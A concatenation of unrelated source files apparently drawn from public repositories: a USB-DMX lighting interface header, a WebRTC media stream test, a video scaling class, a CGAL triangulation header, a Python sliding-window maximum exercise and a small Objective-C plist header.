* usbdmx_product_get(): read the product string from the device.
* size specifies the maximum size of the buffer pointed to by <string>
* (unit bytes).
*/
typedef BOOL (USBDMX_TYPE USBDMX_TYPE_PRODUCT_GET) (IN HANDLE, OUT PWCHAR, IN USHORT);
/**
* usbdmx_device_version(): Read the the device version of a device.
* the device version is one of the values within the USBs configuration
* descriptor (BcdDevice). pversion is only valid if the function returns
* TRUE.
*/
typedef BOOL (USBDMX_TYPE USBDMX_TYPE_DEVICE_VERSION) (IN HANDLE, OUT PUSHORT);
/**
* USBDMX_TX(): transmit a frame using the new protocol on bulk endpoints
*
* INPUTs: h - handle to the device, returned by usbdmx_open()
* universe - addressed universe
* slots - number of bytes to be transmitted, as well as sizeof(buffer)
* for DMX512: buffer[0] == startcode, slots <= 513
* buffer - data to be transmitted, !!! sizeof(buffer) >= slots !!!
* config - configuration of the transmitter, see below for possible values
* time - time value in s, depending on config, either timeout or delay
* time_break - break time in s (can be zero, to not transmitt a break)
* time_mab - Mark-after-Break time (can be zero)
* OUTPUTs: ptimestamp - timestamp of this frame in ms, does overrun
* pstatus - status of this transmission, see below for possible values
*/
typedef BOOL (USBDMX_TYPE USBDMX_TYPE_TX)
(IN HANDLE /* h */, IN UCHAR /* universe */, IN USHORT /* slots */,
IN PUCHAR /* buffer */, IN UCHAR /* config */, IN FLOAT /* time */,
IN FLOAT /* time_break */, IN FLOAT /* time_mab */,
OUT PUSHORT /* ptimestamp */, OUT PUCHAR /* pstatus */);
/**
* values of config (to be ored together)
*/
#define USBDMX_BULK_CONFIG_DELAY (0x01) // delay frame by time
#define USBDMX_BULK_CONFIG_BLOCK (0x02) // block while frame is not transmitting (timeout given by time)
#define USBDMX_BULK_CONFIG_RX (0x04) // switch to RX after having transmitted this frame
#define USBDMX_BULK_CONFIG_NORETX (0x08) // do not retransmit this frame
#define USBDMX_BULK_CONFIG_TXIRQ (0x40) // send data using transmitter IRQ instead of timer
/**
* USBDMX_RX(): receive a frame using the new protocol on bulk endpoints
*
* INPUTs: h - handle to the device, returned by usbdmx_open()
* universe - addressed universe
* slots_set - number of bytes to receive, as well as sizeof(buffer)
* for DMX512: buffer[0] == startcode, slots_set <= 513
* buffer - data to be transmitted, !!! sizeof(buffer) >= slots !!!
* timeout - timeout for receiving the total frame in s,
* timeout_rx - timeout between two slots used to detect premature end of frames
* OUTPUTs: pslots_get - number of slots actually received, *pslots_get <= slots_set
* ptimestamp - timestamp of this frame in ms, does overrun
* pstatus - status of the reception, see below for possible values
*/
typedef BOOL (USBDMX_TYPE USBDMX_TYPE_RX)
(IN HANDLE /* h */, IN UCHAR /* universe */, IN USHORT /* slots_set */,
IN PUCHAR /* buffer */, IN FLOAT /* timeout */, IN FLOAT /* timeout_rx */,
OUT PUSHORT /* pslots_get */, OUT PUSHORT /* ptimestamp */, OUT PUCHAR /* pstatus */);
/**
* values of *pstatus
*/
#define USBDMX_BULK_STATUS_OK (0x00)
#define USBDMX_BULK_STATUS_TIMEOUT (0x01) // request timed out
#define USBDMX_BULK_STATUS_TX_START_FAILED (0x02) // delayed start failed
#define USBDMX_BULK_STATUS_UNIVERSE_WRONG (0x03) // wrong universe addressed\tabularnewline
#define USBDMX_BULK_STATUS_RX_OLD_FRAME (0x10) // old frame not read
#define USBDMX_BULK_STATUS_RX_TIMEOUT (0x20) // receiver finished with timeout (ored with others)
#define USBDMX_BULK_STATUS_RX_NO_BREAK (0x40) // frame without break received (ored with others)
#define USBDMX_BULK_STATUS_RX_FRAMEERROR (0x80) // frame finished with frame error (ored with others)
/**
* macro to check, it the return status is ok
*/
#define USBDMX_BULK_STATUS_IS_OK(s) (s == USBDMX_BULK_STATUS_OK)
/**
* usbdmx_tx_XXX(): Write or read the interfaces transmitter buffer.
* usbdmx_tx2_XXX() addresses the buffer of the second transmitter, which
* is only valid for usbdmx21 devices. The XXX_blocking() functions return
* if the current frame has been transmitted compleately. They operate
* the interface synronices with the transmitter. All other functions
* operate asynchronously, they return immediately.
*/
typedef BOOL (USBDMX_TYPE USBDMX_TYPE_TX_SET) (IN HANDLE, IN PUCHAR, IN USHORT);
typedef BOOL (USBDMX_TYPE USBDMX_TYPE_TX_SET_BLOCKING) (IN HANDLE, IN PUCHAR, IN USHORT);
typedef BOOL (USBDMX_TYPE USBDMX_TYPE_TX2_SET) (IN HANDLE, IN PUCHAR, IN USHORT);
typedef BOOL (USBDMX_TYPE USBDMX_TYPE_TX2_SET_BLOCKING) (IN HANDLE, IN PUCHAR, IN USHORT);
typedef BOOL (USBDMX_TYPE USBDMX_TYPE_TX_GET) (IN HANDLE, OUT PUCHAR, IN USHORT);
typedef BOOL (USBDMX_TYPE USBDMX_TYPE_TX_GET_BLOCKING) (IN HANDLE, OUT PUCHAR, IN USHORT);
typedef BOOL (USBDMX_TYPE USBDMX_TYPE_TX2_GET) (IN HANDLE, OUT PUCHAR, IN USHORT);
typedef BOOL (USBDMX_TYPE USBDMX_TYPE_TX2_GET_BLOCKING) (IN HANDLE, OUT PUCHAR, IN USHORT);
/**
* usbdmx_rx_XXX(): Write or read the interfaces receiver buffer.
* The XXX_blocking() functions return if the current frame has been
* transmitted compleately. They operate the interface synronices with
* the transmitter. All other functions operate asynchronously, they
* return immediately.
*/
typedef BOOL (USBDMX_TYPE USBDMX_TYPE_RX_SET) (IN HANDLE, IN PUCHAR, IN USHORT);
typedef BOOL (USBDMX_TYPE USBDMX_TYPE_RX_SET_BLOCKING) (IN HANDLE, IN PUCHAR, IN USHORT);
typedef BOOL (USBDMX_TYPE USBDMX_TYPE_RX_GET) (IN HANDLE, OUT PUCHAR, IN USHORT);
typedef BOOL (USBDMX_TYPE USBDMX_TYPE_RX_GET_BLOCKING) (IN HANDLE, OUT PUCHAR, IN USHORT);
/**
* usbdmx_[rx|tx]_frames(): return a 32bit frame counter from the device.
* Each device counts the transmitted/received frames. The framecounter
* can overflow.
*/
typedef BOOL (USBDMX_TYPE USBDMX_TYPE_TX_FRAMES) (IN HANDLE, OUT PDWORD);
typedef BOOL (USBDMX_TYPE USBDMX_TYPE_RX_FRAMES) (IN HANDLE, OUT PDWORD);
/**
* usbdmx_[rx|tx]_startcode_[set|get](): read/set the startcode of the
* transmitter/receiver. The receiver only accepts frames with the
* given startcode, all other are ignored. According to DMX512A
* specification the startcode should be 0.
*/
typedef BOOL (USBDMX_TYPE USBDMX_TYPE_TX_STARTCODE_SET) (IN HANDLE, IN UCHAR);
typedef BOOL (USBDMX_TYPE USBDMX_TYPE_TX_STARTCODE_GET) (IN HANDLE, OUT PUCHAR);
typedef BOOL (USBDMX_TYPE USBDMX_TYPE_RX_STARTCODE_SET) (IN HANDLE, IN UCHAR);
typedef BOOL (USBDMX_TYPE USBDMX_TYPE_RX_STARTCODE_GET) (IN HANDLE, OUT PUCHAR);
/**
* usbdmx_tx_slots_[set|get](): read/set the number of slots transmitted
* per frame. Numbers above 512 or below 24 are not allowed.
*/
typedef BOOL (USBDMX_TYPE USBDMX_TYPE_TX_SLOTS_SET) (IN HANDLE, IN USHORT);
typedef BOOL (USBDMX_TYPE USBDMX_TYPE_TX_SLOTS_GET) (IN HANDLE, OUT PUSHORT);
/**
* usbdmx_rx_slots_get(): read the number of slots received within the
* last frames.
*/
typedef BOOL (USBDMX_TYPE USBDMX_TYPE_RX_SLOTS_GET) (IN HANDLE, OUT PUSHORT);
/**
* usbdmx_tx_timing_XXX(): read/set the timing values of the transmitter.
* each value is returned/set in seconds.
*/
typedef BOOL (USBDMX_TYPE USBDMX_TYPE_TX_TIMING_SET) (IN HANDLE, IN FLOAT, IN FLOAT, IN FLOAT);
typedef BOOL (USBDMX_TYPE USBDMX_TYPE_TX_TIMING_GET) (IN HANDLE, OUT PFLOAT, OUT PFLOAT, OUT PFLOAT);
/**
* usbdmx_id_led_XXX(): get/set the "id-led", the way the TX-led is handled:
* id == 0: the TX led is equal to the GL (good-link, USB-stauts) value
* id == 0xff: the TX led shows just the transmitter state (active/deactivated)
* other: the TX led blinks the given number of times and then pauses
*/
typedef BOOL (USBDMX_TYPE USBDMX_TYPE_ID_LED_SET) (IN HANDLE, IN USHORT);
typedef BOOL (USBDMX_TYPE USBDMX_TYPE_ID_LED_GET) (IN HANDLE, OUT PUSHORT);
/****************************************************************************
* Structure declaration for USBDMX.DLL functions
****************************************************************************/
struct usbdmx_functions
{
/**
* usbdmx_version(): returns the version number (16bit, 4 digits BCD)
* Current version is USBDMX_DLL_VERSION. Use the Macro
* USBDMX_DLL_VERSION_CHECK() compare dll's and header files version.
*/
USBDMX_TYPE_VERSION version;
/**
* usbdmx_open(): open device number <device>, where 0 is the first
* and unlimit devices are supported. The function returnes
* STATUS_INVALID_HANDLE_VALUE if <device> is not supported. Use the
* returned handle to access the device later on. One device can be
* opened an unlimited number of times.
*/
USBDMX_TYPE_OPEN open;
/**
* usbdmx_close(): close the device identified by the given handle.
*/
USBDMX_TYPE_CLOSE close;
/**
* usbdmx_device_id(): read the device id of the device
*/
USBDMX_TYPE_DEVICE_ID device_id;
/**
* usbdmx_is_XXX(): identify the device identified by the given handle.
* Each function returns TRUE if the device matches.
*/
USBDMX_TYPE_IS_XSWITCH is_xswitch;
USBDMX_TYPE_IS_RODIN1 is_rodin1;
USBDMX_TYPE_IS_RODIN2 is_rodin2;
USBDMX_TYPE_IS_RODINT is_rodint;
USBDMX_TYPE_IS_USBDMX21 is_usbdmx21;
/**
* usbdmx_product_get(): read the product string from the device.
* size specifies the maximum size of the buffer pointed to by
* <string> (unit bytes).
*/
USBDMX_TYPE_PRODUCT_GET product_get;
/**
* usbdmx_device_version(): Read the the device version of a device.
* the device version is one of the values within the USBs
* configuration descriptor (BcdDevice). pversion is only valid if the
* function returns TRUE.
*/
USBDMX_TYPE_DEVICE_VERSION device_version;
/**
* USBDMX_TX(): transmit a frame using the new protocol on bulk
* endpoints
*
* INPUTs: h - handle to the device, returned by usbdmx_open()
* universe - addressed universe
* slots - number of bytes to be transmitted, as well as sizeof(buffer)
* for DMX512: buffer[0] == startcode, slots <= 513
* buffer - data to be transmitted, !!! sizeof(buffer) >= slots !!!
* config - configuration of the transmitter, see below for possible values
* time - time value in s, depending on config, either timeout or delay
* time_break - break time in s (can be zero, to not transmitt a break)
* time_mab - Mark-after-Break time (can be zero)
* OUTPUTs: ptimestamp - timestamp of this frame in ms, does overrun
* pstatus - status of this transmission, see below for possible values
*/
USBDMX_TYPE_TX tx;
/**
* USBDMX_RX(): receive a frame using the new protocol on bulk endpoints
*
* INPUTs: h - handle to the device, returned by usbdmx_open()
* universe - addressed universe
* slots_set - number of bytes to receive, as well as sizeof(buffer)
* for DMX512: buffer[0] == startcode, slots_set <= 513
* buffer - data to be transmitted, !!! sizeof(buffer) >= slots !!!
* timeout - timeout for receiving the total frame in s,
* timeout_rx - timeout between two slots used to detect premature end of frames
* OUTPUTs: pslots_get - number of slots actually received, *pslots_get <= slots_set
* ptimestamp - timestamp of this frame in ms, does overrun
* pstatus - status of the reception, see below for possible values
*/
USBDMX_TYPE_RX rx;
/**
* usbdmx_tx_XXX(): Write or read the interfaces transmitter buffer.
* usbdmx_tx2_XXX() addresses the buffer of the second transmitter,
* which is only valid for usbdmx21 devices. The XXX_blocking()
* functions return if the current frame has been transmitted
* completely. They operate the interface in sync with the transmitter.
* All other functions operate asynchronously, they return immediately.
*/
USBDMX_TYPE_TX_SET tx_set;
USBDMX_TYPE_TX_SET_BLOCKING tx_set_blocking;
USBDMX_TYPE_TX2_SET tx2_set;
USBDMX_TYPE_TX2_SET_BLOCKING tx2_set_blocking;
USBDMX_TYPE_TX_GET tx_get;
USBDMX_TYPE_TX_GET_BLOCKING tx_get_blocking;
USBDMX_TYPE_TX2_GET tx2_get;
USBDMX_TYPE_TX2_GET_BLOCKING tx2_get_blocking;
/**
* usbdmx_rx_XXX(): Write or read the interfaces receiver buffer.
* The XXX_blocking() functions return if the current frame has been
* transmitted compleately. They operate the interface synronices with
* the transmitter. All other functions operate asynchronously, they
* return immediately.
*/
USBDMX_TYPE_RX_SET rx_set;
USBDMX_TYPE_RX_SET_BLOCKING rx_set_blocking;
USBDMX_TYPE_RX_GET rx_get;
USBDMX_TYPE_RX_GET_BLOCKING rx_get_blocking;
/**
* usbdmx_[rx|tx]_frames(): return a 32bit frame counter from the
* device. Each device counts the transmitted/received frames. The
* frame counter can overflow.
*/
USBDMX_TYPE_TX_FRAMES tx_frames;
USBDMX_TYPE_RX_FRAMES rx_frames;
/**
* usbdmx_[rx|tx]_startcode_[set|get](): read/set the startcode of the
* transmitter/receiver. The receiver only accepts frames with the
* given startcode, all other are ignored. According to DMX512A
* specification the startcode should be 0.
*/
USBDMX_TYPE_TX_STARTCODE_SET tx_startcode_set;
USBDMX_TYPE_TX_STARTCODE_GET tx_startcode_get;
USBDMX_TYPE_RX_STARTCODE_SET rx_startcode_set;
USBDMX_TYPE_RX_STARTCODE_GET rx_startcode_get;
/**
* usbdmx_tx_slots_[set|get](): read/set the number of slots x-mitted
* per frame. Numbers above 512 or below 24 are not allowed.
*/
USBDMX_TYPE_TX_SLOTS_SET tx_slots_set;
USBDMX_TYPE_TX_SLOTS_GET tx_slots_get;
/**
* usbdmx_rx_slots_get(): read the number of slots received within the
* last frames.
*/
USBDMX_TYPE_RX_SLOTS_GET rx_slots_get;
/**
* usbdmx_tx_timing_XXX(): read/set the timing values of the x-mitter.
* each value is returned/set in seconds.
*/
USBDMX_TYPE_TX_TIMING_SET tx_timing_set;
USBDMX_TYPE_TX_TIMING_GET tx_timing_get;
/**
* usbdmx_id_led_XXX(): get/set the "id-led", the way the TX-led is handled:
* id == 0: the TX led is equal to the GL (good-link, USB-stauts) value
* id == 0xff: the TX led shows just the transmitter state (active/deactivated)
* other: the TX led blinks the given number of times and then pauses
*/
USBDMX_TYPE_ID_LED_SET id_led_set;
USBDMX_TYPE_ID_LED_GET id_led_get;
};
/*
* USBDMX_INIT()
*
* Load the usbdmx.DLL and returns all functions in struct usbdmx.
* USBDMX_INIT() increments a "used" counter to track the number of
* users. Make shure to call usbdmx_release if the DLL is not used
* anymore. If the DLL was not found, NULL is returned.
*/
struct usbdmx_functions* usbdmx_init(void);
/*
* USBDMX_RELEASE()
*
* decrements the "used" counter and releases the DLL if not used anymore.
* After calling USBDMX_RELEASE() the pointer returned by USBDMX_INIT()
* is not valid anymore.
*/
VOID usbdmx_release(VOID);
#endif
| 6,726 |
2,151 | <reponame>Numbrs/WebRTC<gh_stars>1000+
/*
* Copyright 2011 The WebRTC project authors. All Rights Reserved.
*
* Use of this source code is governed by a BSD-style license
* that can be found in the LICENSE file in the root of the source
* tree. An additional intellectual property rights grant can be found
* in the file PATENTS. All contributing project authors may
* be found in the AUTHORS file in the root of the source tree.
*/
#include <stddef.h>
#include <string>
#include "pc/audio_track.h"
#include "pc/media_stream.h"
#include "pc/test/fake_video_track_source.h"
#include "pc/video_track.h"
#include "rtc_base/thread.h"
#include "test/gmock.h"
#include "test/gtest.h"
static const char kStreamId1[] = "local_stream_1";
static const char kVideoTrackId[] = "dummy_video_cam_1";
static const char kAudioTrackId[] = "dummy_microphone_1";
using rtc::scoped_refptr;
using ::testing::Exactly;
namespace webrtc {
// Helper class to test Observer.
class MockObserver : public ObserverInterface {
public:
explicit MockObserver(NotifierInterface* notifier) : notifier_(notifier) {
notifier_->RegisterObserver(this);
}
~MockObserver() { Unregister(); }
void Unregister() {
if (notifier_) {
notifier_->UnregisterObserver(this);
notifier_ = nullptr;
}
}
MOCK_METHOD0(OnChanged, void());
private:
NotifierInterface* notifier_;
};
class MediaStreamTest : public testing::Test {
protected:
virtual void SetUp() {
stream_ = MediaStream::Create(kStreamId1);
ASSERT_TRUE(stream_.get() != NULL);
video_track_ = VideoTrack::Create(
kVideoTrackId, FakeVideoTrackSource::Create(), rtc::Thread::Current());
ASSERT_TRUE(video_track_.get() != NULL);
EXPECT_EQ(MediaStreamTrackInterface::kLive, video_track_->state());
audio_track_ = AudioTrack::Create(kAudioTrackId, NULL);
ASSERT_TRUE(audio_track_.get() != NULL);
EXPECT_EQ(MediaStreamTrackInterface::kLive, audio_track_->state());
EXPECT_TRUE(stream_->AddTrack(video_track_));
EXPECT_FALSE(stream_->AddTrack(video_track_));
EXPECT_TRUE(stream_->AddTrack(audio_track_));
EXPECT_FALSE(stream_->AddTrack(audio_track_));
}
void ChangeTrack(MediaStreamTrackInterface* track) {
MockObserver observer(track);
EXPECT_CALL(observer, OnChanged()).Times(Exactly(1));
track->set_enabled(false);
EXPECT_FALSE(track->enabled());
}
scoped_refptr<MediaStreamInterface> stream_;
scoped_refptr<AudioTrackInterface> audio_track_;
scoped_refptr<VideoTrackInterface> video_track_;
};
TEST_F(MediaStreamTest, GetTrackInfo) {
ASSERT_EQ(1u, stream_->GetVideoTracks().size());
ASSERT_EQ(1u, stream_->GetAudioTracks().size());
// Verify the video track.
scoped_refptr<webrtc::MediaStreamTrackInterface> video_track(
stream_->GetVideoTracks()[0]);
EXPECT_EQ(0, video_track->id().compare(kVideoTrackId));
EXPECT_TRUE(video_track->enabled());
ASSERT_EQ(1u, stream_->GetVideoTracks().size());
EXPECT_TRUE(stream_->GetVideoTracks()[0].get() == video_track.get());
EXPECT_TRUE(stream_->FindVideoTrack(video_track->id()).get() ==
video_track.get());
video_track = stream_->GetVideoTracks()[0];
EXPECT_EQ(0, video_track->id().compare(kVideoTrackId));
EXPECT_TRUE(video_track->enabled());
// Verify the audio track.
scoped_refptr<webrtc::MediaStreamTrackInterface> audio_track(
stream_->GetAudioTracks()[0]);
EXPECT_EQ(0, audio_track->id().compare(kAudioTrackId));
EXPECT_TRUE(audio_track->enabled());
ASSERT_EQ(1u, stream_->GetAudioTracks().size());
EXPECT_TRUE(stream_->GetAudioTracks()[0].get() == audio_track.get());
EXPECT_TRUE(stream_->FindAudioTrack(audio_track->id()).get() ==
audio_track.get());
audio_track = stream_->GetAudioTracks()[0];
EXPECT_EQ(0, audio_track->id().compare(kAudioTrackId));
EXPECT_TRUE(audio_track->enabled());
}
TEST_F(MediaStreamTest, RemoveTrack) {
MockObserver observer(stream_);
EXPECT_CALL(observer, OnChanged()).Times(Exactly(2));
EXPECT_TRUE(stream_->RemoveTrack(audio_track_));
EXPECT_FALSE(stream_->RemoveTrack(audio_track_));
EXPECT_EQ(0u, stream_->GetAudioTracks().size());
EXPECT_EQ(0u, stream_->GetAudioTracks().size());
EXPECT_TRUE(stream_->RemoveTrack(video_track_));
EXPECT_FALSE(stream_->RemoveTrack(video_track_));
EXPECT_EQ(0u, stream_->GetVideoTracks().size());
EXPECT_EQ(0u, stream_->GetVideoTracks().size());
EXPECT_FALSE(stream_->RemoveTrack(static_cast<AudioTrackInterface*>(NULL)));
EXPECT_FALSE(stream_->RemoveTrack(static_cast<VideoTrackInterface*>(NULL)));
}
TEST_F(MediaStreamTest, ChangeVideoTrack) {
scoped_refptr<webrtc::VideoTrackInterface> video_track(
stream_->GetVideoTracks()[0]);
ChangeTrack(video_track.get());
}
TEST_F(MediaStreamTest, ChangeAudioTrack) {
scoped_refptr<webrtc::AudioTrackInterface> audio_track(
stream_->GetAudioTracks()[0]);
ChangeTrack(audio_track.get());
}
} // namespace webrtc
| 1,823 |
1,710 | <filename>inc/VideoScaler.h
/* ---------------------------------------------------------------------------
** This software is in the public domain, furnished "as is", without technical
** support, and with no warranty, express or implied, as to its usefulness for
** any purpose.
**
** VideoScaler.h
**
** -------------------------------------------------------------------------*/
#pragma once
#include "media/base/video_broadcaster.h"
#include "api/media_stream_interface.h"
#include "api/video/i420_buffer.h"
class VideoScaler : public rtc::VideoSinkInterface<webrtc::VideoFrame>, public rtc::VideoSourceInterface<webrtc::VideoFrame>
{
public:
VideoScaler(rtc::scoped_refptr<webrtc::VideoTrackSourceInterface> videoSource, const std::map<std::string, std::string> &opts) :
m_videoSource(videoSource),
m_width(0), m_height(0),
m_rotation(webrtc::kVideoRotation_0),
m_roi_x(0), m_roi_y(0), m_roi_width(0), m_roi_height(0)
{
if (opts.find("width") != opts.end())
{
m_width = std::stoi(opts.at("width"));
}
if (opts.find("height") != opts.end())
{
m_height = std::stoi(opts.at("height"));
}
if (opts.find("rotation") != opts.end())
{
int rotation = std::stoi(opts.at("rotation"));
switch (rotation) {
case 90: m_rotation = webrtc::kVideoRotation_90; break;
case 180: m_rotation = webrtc::kVideoRotation_180; break;
case 270: m_rotation = webrtc::kVideoRotation_270; break;
}
}
if (opts.find("roi_x") != opts.end())
{
m_roi_x = std::stoi(opts.at("roi_x"));
if (m_roi_x < 0)
{
RTC_LOG(LS_ERROR) << "Ignore roi_x=" << m_roi_x << ", it muss be >=0";
m_roi_x = 0;
}
}
if (opts.find("roi_y") != opts.end())
{
m_roi_y = std::stoi(opts.at("roi_y"));
if (m_roi_y < 0)
{
RTC_LOG(LS_ERROR) << "Ignore roi_<=" << m_roi_y << ", it muss be >=0";
m_roi_y = 0;
}
}
if (opts.find("roi_width") != opts.end())
{
m_roi_width = std::stoi(opts.at("roi_width"));
if (m_roi_width <= 0)
{
RTC_LOG(LS_ERROR) << "Ignore roi_width<=" << m_roi_width << ", it muss be >0";
m_roi_width = 0;
}
}
if (opts.find("roi_height") != opts.end())
{
m_roi_height = std::stoi(opts.at("roi_height"));
if (m_roi_height <= 0)
{
RTC_LOG(LS_ERROR) << "Ignore roi_height<=" << m_roi_height << ", it muss be >0";
m_roi_height = 0;
}
}
}
virtual ~VideoScaler()
{
}
void OnFrame(const webrtc::VideoFrame &frame) override
{
if (m_roi_x >= frame.width())
{
RTC_LOG(LS_ERROR) << "The ROI position protrudes beyond the right edge of the image. Ignore roi_x.";
m_roi_x = 0;
}
if (m_roi_y >= frame.height())
{
RTC_LOG(LS_ERROR) << "The ROI position protrudes beyond the bottom edge of the image. Ignore roi_y.";
m_roi_y = 0;
}
if (m_roi_width != 0 && (m_roi_width + m_roi_x) > frame.width())
{
RTC_LOG(LS_ERROR) << "The ROI protrudes beyond the right edge of the image. Ignore roi_width.";
m_roi_width = 0;
}
if (m_roi_height != 0 && (m_roi_height + m_roi_y) > frame.height())
{
RTC_LOG(LS_ERROR) << "The ROI protrudes beyond the bottom edge of the image. Ignore roi_height.";
m_roi_height = 0;
}
if (m_roi_width == 0)
{
m_roi_width = frame.width() - m_roi_x;
}
if (m_roi_height == 0)
{
m_roi_height = frame.height() - m_roi_y;
}
// source image is croped but destination image size is not set
if ((m_roi_width != frame.width() || m_roi_height != frame.height()) && (m_height == 0 && m_width == 0))
{
m_height = m_roi_height;
m_width = m_roi_width;
}
if ( ((m_height == 0) && (m_width == 0) && (m_rotation == webrtc::kVideoRotation_0)) || (frame.video_frame_buffer()->type() == webrtc::VideoFrameBuffer::Type::kNative) )
{
m_broadcaster.OnFrame(frame);
}
else
{
int height = m_height;
int width = m_width;
if ( (height == 0) && (width == 0) )
{
height = frame.height();
width = frame.width();
}
else if (height == 0)
{
height = (m_roi_height * width) / m_roi_width;
}
else if (width == 0)
{
width = (m_roi_width * height) / m_roi_height;
}
rtc::scoped_refptr<webrtc::I420Buffer> scaled_buffer = webrtc::I420Buffer::Create(width, height);
if (m_roi_width != frame.width() || m_roi_height != frame.height())
{
scaled_buffer->CropAndScaleFrom(*frame.video_frame_buffer()->ToI420(), m_roi_x, m_roi_y, m_roi_width, m_roi_height);
}
else
{
scaled_buffer->ScaleFrom(*frame.video_frame_buffer()->ToI420());
}
webrtc::VideoFrame scaledFrame = webrtc::VideoFrame(scaled_buffer, frame.timestamp(),
frame.render_time_ms(), m_rotation);
m_broadcaster.OnFrame(scaledFrame);
}
}
void AddOrUpdateSink(rtc::VideoSinkInterface<webrtc::VideoFrame> *sink, const rtc::VideoSinkWants &wants) override
{
m_videoSource->AddOrUpdateSink(this,wants);
m_broadcaster.AddOrUpdateSink(sink, wants);
}
void RemoveSink(rtc::VideoSinkInterface<webrtc::VideoFrame> *sink) override
{
m_videoSource->RemoveSink(this);
m_broadcaster.RemoveSink(sink);
}
int width() { return m_roi_width; }
int height() { return m_roi_height; }
private:
rtc::scoped_refptr<webrtc::VideoTrackSourceInterface> m_videoSource;
rtc::VideoBroadcaster m_broadcaster;
int m_width;
int m_height;
webrtc::VideoRotation m_rotation;
int m_roi_x;
int m_roi_y;
int m_roi_width;
int m_roi_height;
};
| 3,795 |
3,227 | <filename>Triangulation_3/include/CGAL/Triangulation_3/internal/Delaunay_triangulation_hierarchy_3.h
// Copyright (c) 2009 INRIA Sophia-Antipolis (France).
// All rights reserved.
//
// This file is part of CGAL (www.cgal.org).
//
// $URL$
// $Id$
// SPDX-License-Identifier: GPL-3.0-or-later OR LicenseRef-Commercial
//
// Author(s) : <NAME>
#ifndef CGAL_INTERNAL_DELAUNAY_TRIANGULATION_HIERARCHY_3_H
#define CGAL_INTERNAL_DELAUNAY_TRIANGULATION_HIERARCHY_3_H
#include <CGAL/license/Triangulation_3.h>
#if !defined CGAL_DELAUNAY_TRIANGULATION_3_H
# error "Other header files need to be included first..."
#endif
#include <CGAL/Triangulation_hierarchy_3.h>
namespace CGAL {
// Specializations of Delaunay_triangulation_3 for Fast_location,
// as 2nd as well as 3rd positions (deduced parameter).
#define CGAL_TDS_3 \
typename Default::Get<Tds_, Triangulation_data_structure_3 <\
Triangulation_vertex_base_3<Gt>,\
Delaunay_triangulation_cell_base_3<Gt> > >::type
template < class Gt, class Tds_ >
class Delaunay_triangulation_3<Gt, Tds_, Fast_location>
: public Triangulation_hierarchy_3<Delaunay_triangulation_3<Gt,
CGAL_TDS_3::template Rebind_vertex<Triangulation_hierarchy_vertex_base_3<CGAL_TDS_3::Vertex> >::Other> >
{
typedef Triangulation_hierarchy_3<Delaunay_triangulation_3<Gt,
CGAL_TDS_3::template Rebind_vertex<Triangulation_hierarchy_vertex_base_3<CGAL_TDS_3::Vertex> >::Other> > Base;
public:
Delaunay_triangulation_3(const Gt& traits = Gt())
: Base(traits) {}
template < typename InputIterator >
Delaunay_triangulation_3(InputIterator first, InputIterator last,
const Gt& traits = Gt())
: Base(first, last, traits) {}
};
#undef CGAL_TDS_3
template < class Gt, class Tds_ >
class Delaunay_triangulation_3<Gt, Tds_, Compact_location>
: public Delaunay_triangulation_3<Gt, Tds_>
{
typedef Delaunay_triangulation_3<Gt, Tds_> Base;
public:
Delaunay_triangulation_3(const Gt& traits = Gt())
: Base(traits) {}
template < typename InputIterator >
Delaunay_triangulation_3(InputIterator first, InputIterator last,
const Gt& traits = Gt())
: Base(first, last, traits) {}
};
// 2 cases for Location_policy<> in 2nd position.
template < class Gt >
class Delaunay_triangulation_3<Gt, Fast_location>
: public Triangulation_hierarchy_3<Delaunay_triangulation_3<Gt,
Triangulation_data_structure_3<
Triangulation_hierarchy_vertex_base_3<Triangulation_vertex_base_3<Gt> >,
Delaunay_triangulation_cell_base_3<Gt> > > >
{
typedef Triangulation_hierarchy_3<Delaunay_triangulation_3<Gt,
Triangulation_data_structure_3<
Triangulation_hierarchy_vertex_base_3<Triangulation_vertex_base_3<Gt> >,
Delaunay_triangulation_cell_base_3<Gt> > > > Base;
public:
Delaunay_triangulation_3(const Gt& traits = Gt())
: Base(traits) {}
template < typename InputIterator >
Delaunay_triangulation_3(InputIterator first, InputIterator last,
const Gt& traits = Gt())
: Base(first, last, traits) {}
};
template < class Gt >
class Delaunay_triangulation_3<Gt, Compact_location>
: public Delaunay_triangulation_3<Gt>
{
typedef Delaunay_triangulation_3<Gt> Base;
public:
Delaunay_triangulation_3(const Gt& traits = Gt())
: Base(traits) {}
template < typename InputIterator >
Delaunay_triangulation_3(InputIterator first, InputIterator last,
const Gt& traits = Gt())
: Base(first, last, traits) {}
};
} // namespace CGAL
#endif // CGAL_INTERNAL_DELAUNAY_TRIANGULATION_HIERARCHY_3_H
| 1,684 |
897 | """
Author: <NAME>
Problem statement:
Given a list of integers "nums" and an integer k, return the maximum values
of each sublist of length k.
Constraints:
1 ≤ n ≤ 100,000 where n is the length of "nums".
1 ≤ k ≤ 100,000.
"""
from collections import deque
def findMaxInSubarray(nums, n , k) :
'''
paramaters:
nums: input array
n: size of the array
k: window size
output:
returns a list (ans) containing the maximum of each window of size k
'''
ans = []
# indices are stored in 'window'
# with the maximum element at the front
window = deque()
# first k elements
for i in range(k):
# pop all the elements that are smaller than the current
# element which are present towards its left (lower indices)
while (window and (nums[i] >= nums[window[-1]])):
window.pop()
# adding the current element
window.append(i)
# storing the current answer
ans.append(nums[window[0]])
# getting the answer for rest of he array
for i in range(k, n):
# checking the window bounds
if window[0] <= i-k:
# remove an element from front
window.popleft()
while (window and nums[window[-1]] <= nums[i]):
window.pop()
window.append(i)
# storing answer for current window
ans.append(nums[window[0]])
# returning the answer
return ans
# DRIVER CODE
if __name__ == "__main__":
size = int(input('enter the size of the array : '))
numsArr = [int(i) for i in input('enter the elements of the array : ').split()]
windowLen = int(input('enter the size of the window : '))
print('The maximum values of each subarray of length k : ')
print(*findMaxInSubarray(numsArr, size, windowLen))
ProblemDetails = '''Time Complexity
O(n) is the overall time complexity of the algorithm
O(k) is the overall space complexity of the algorithm since there can only be k
elements in the window
Test Cases:
TC-1
Input:
enter the size of the array : 6
enter the elements of the array : 10 5 2 7 8 7
enter the size of the window : 3
Output:
The maximum values of each subarray of length k :
10 7 8 8
TC-2
Input:
enter the size of the array : 9
enter the elements of the array : 1 2 3 4 5 4 3 2 1
enter the size of the window : 3
Output:
The maximum values of each subarray of length k :
3 4 5 5 5 4 3'''
| 878 |
502 | //
// PlistManager.h
// ProfilesManager
//
// Created by Jakey on 2018/3/5.
// Copyright © 2018年 Jakey. All rights reserved.
//
#import <Foundation/Foundation.h>
@interface PlistManager : NSObject
+ (NSDictionary*)readPlist:(NSString *)filePath plistString:(NSString**)plistString;
@end
| 103 |
